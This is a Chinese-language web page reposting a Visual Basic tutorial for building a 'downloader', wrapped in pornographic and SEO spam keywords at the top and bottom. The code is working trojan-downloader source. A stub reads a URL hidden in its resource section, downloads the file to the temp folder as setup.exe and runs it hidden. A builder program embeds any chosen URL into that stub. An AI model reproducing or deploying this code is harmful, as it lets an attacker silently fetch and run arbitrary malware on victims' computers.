国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > 綜合 > 正文

VB 編寫下載者 把下載信息存在資源文件里。。

2024-07-21 02:20:32
字體:
來源:轉載
供稿:網友


 

以下就是服務端

 private declare function gettemppath lib "kernel32" alias "gettemppatha" _   '取得temp目錄的api
        (byval nbufferlength as long, byval lpbuffer as string) as long

private declare function urldownloadtofile lib "urlmon" alias "urldownloadtofilea" (byval pcaller as long, byval szurl as string, byval szfilename as string, byval dwreserved as long, byval lpfncb as long) as long'下在文件的api

public sub main()
dim sourceurl as string
dim chen() as byte
dim targetfile as string
dim temppath as string
dim len5 as long

   dim i as long
  
    chen = loadresdata("http", "圖標") '取出數據
   for i = 0 to 184  '還原為字符
    
  if chen(i) <> 0 and chen(i) <> 32 then
   sourceurl = sourceurl + chr(chen(i))
  
  end if
  next
   temppath = string(255, 0)
       len5 = gettemppath(256, temppath)
        temppath = left(temppath, len5)
 
         targetfile = temppath + "setup.exe"  ' 保存路徑
    hfile = urldownloadtofile(0&, sourceurl, targetfile, 0&, 0&)
if hfile = 0 then
shell targetfile, vbhide
end if

end sub

保存為bas 文件就可以了

控制臺文件需要對資源文件進行讀寫

用到以下幾個api

public declare function beginupdateresource lib "kernel32" alias "beginupdateresourcea" (byval pfilename as string, byval bdeleteexistingresources as long) as long

public declare function updateresource lib "kernel32" alias "updateresourcea" (byval hupdate as long, byval lptype as string, byval lpname as string, byval wlanguage as long, lpdata as any, byval cbdata as long) as long

public declare function endupdateresource lib "kernel32" alias "endupdateresourcea" (byval hupdate as long, byval fdiscard as long) as long

這幾個可以把它放到一個bas文件中

以下就是控制臺的代碼


private sub command1_click()
  dim bwenjian as long
  dim wenjian as long
  dim ewenjian as long
  dim app2() as byte
 
   dim astr as string * 200
  
   
  app2 = loadresdata("exe", "exefile")
    if dir(text1.text) <> "" then
     
      msgbox text1.text + "已存在"
     
      exit sub
   
    end if
  
   open text1.text for binary as #1
     
        put #1, , app2()
     
        close #1
    
    
   
   astr = left$(text2.text, 200)
      
    bwenjian = beginupdateresource(text1.text, false)' 開始一個添加資源的過程
    
    wenjian = updateresource(bwenjian, "圖標", "http", 2052, byval astr, 200) ' 添加資源
   
   ewenjian = endupdateresource(bwenjian, false) ' 結束添加資源過程

end sub

private sub form_load()
text1.text = app.path & "/xz.exe" '  默認的服務端文件名
end sub

當然你要把 服務端的exe導入里面存為資源

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 临猗县| 大港区| 天津市| 昭平县| 阳信县| 龙陵县| 广饶县| 黎平县| 保定市| 南通市| 绥棱县| 舒城县| 崇文区| 靖远县| 内丘县| 清远市| 邳州市| 甘德县| 山东省| 新兴县| 兴城市| 余江县| 衡东县| 彰化县| 无锡市| 高邑县| 邢台县| 信阳市| 孟津县| 青岛市| 富蕴县| 炎陵县| 广宗县| 治县。| 凌源市| 建宁县| 遵义县| 鹤庆县| 达州市| 万州区| 垫江县|